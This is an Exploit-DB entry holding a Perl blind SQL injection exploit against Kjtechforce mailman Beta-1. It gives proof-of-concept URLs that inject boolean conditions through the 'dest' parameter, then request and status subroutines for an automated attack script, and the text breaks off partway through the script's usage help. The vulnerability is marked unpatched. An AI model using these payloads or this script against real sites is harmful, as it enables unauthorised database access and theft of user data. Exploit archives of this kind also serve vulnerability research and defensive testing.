Exploit-DB #8885
Description: Kjtechforce mailman b1 - 'dest' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-05
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  Â¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|                            ('dest') Blind (SQLi) EXPLOIT	                      	     |
#|-------------------------------------------------------------------------------------------|
#|                           |   Kjtechforce mailman Beta-1     |		    	     |
#|  CMS INFORMATION:          ----------------------------------	               	     |
#|										             |
#|-->WEB: http://sourceforge.net/projects/kjtechforce/			          	     |
#|-->DOWNLOAD: http://sourceforge.net/projects/kjtechforce/		                     |
#|-->DEMO: N/A										     |
#|-->CATEGORY: CMS / Mailer								     |
#|-->DESCRIPTION: The kjtechforce project has aimed at the tool making 		             |
#|		that supports kjclub.com from the outside...				     |
#|-->RELEASED: 2009-05-16								     |
#|											     |
#|  CMS VULNERABILITY:									     |
#|											     |
#|-->TESTED ON: firefox 3						                     |
#|-->DORK: N/A									             |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT					             |
#|-->AFFECT VERSION: CURRENT						 		     |
#|-->Discovered Bug date: 2009-06-02							     |
#|-->Reported Bug date: 2009-06-02							     |
#|-->Fixed bug date: Not fixed								     |
#|-->Info patch: Not fixed							             |
#|-->Author: YEnH4ckEr									     |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
#|-->WEB/BLOG: N/A									     |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		     |
#----------------------------------------------------------------------------------------------

#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[PATH]/index.php?id=3&dest=4%27+and+1=1%23 --> TRUE
#
#http://[HOST]/[PATH]/index.php?id=3&dest=4%27+and+1=0%23 --> FALSE
#
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Kjtechforce mailman Beta-1 Blind SQLi Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	$request = HTTP::Request -> new(GET => $_[0]);
	my $outcode= $userag->request($request)->as_string;
	#print $outcode; #--> Active this line for debugger mode
	return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t--->Maybe:\n\n";
	print "\t\t1.-Patched.\n";
	print "\t\t2.-Bad path or host.\n";
	print "\t\t3.-Magic quotes ON.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
	print "\t-----------------------------------------------------------------\n";
	print "\tWEB MAYBE BE VULNERABLE!\n\n";
	print "\tTested Blind SQL Injection.\n";		
	print "\tStarting exploit...\n"; 
	print "\t-----------------------------------------------------------------\n\n";
}

sub helper {
	print "\n\t[!!!] Kjtechforce mailman Beta-1 Blind SQLi Exploit\n";
	print "\t[!!!] USAGE MODE: [!!!]\n";
	print "\t[!!!] perl $0 [HOST] [PATH] [Target_id]\n";
	print "\t[!!!] [HOST]: Web.\n";
	print "\t[!!!] [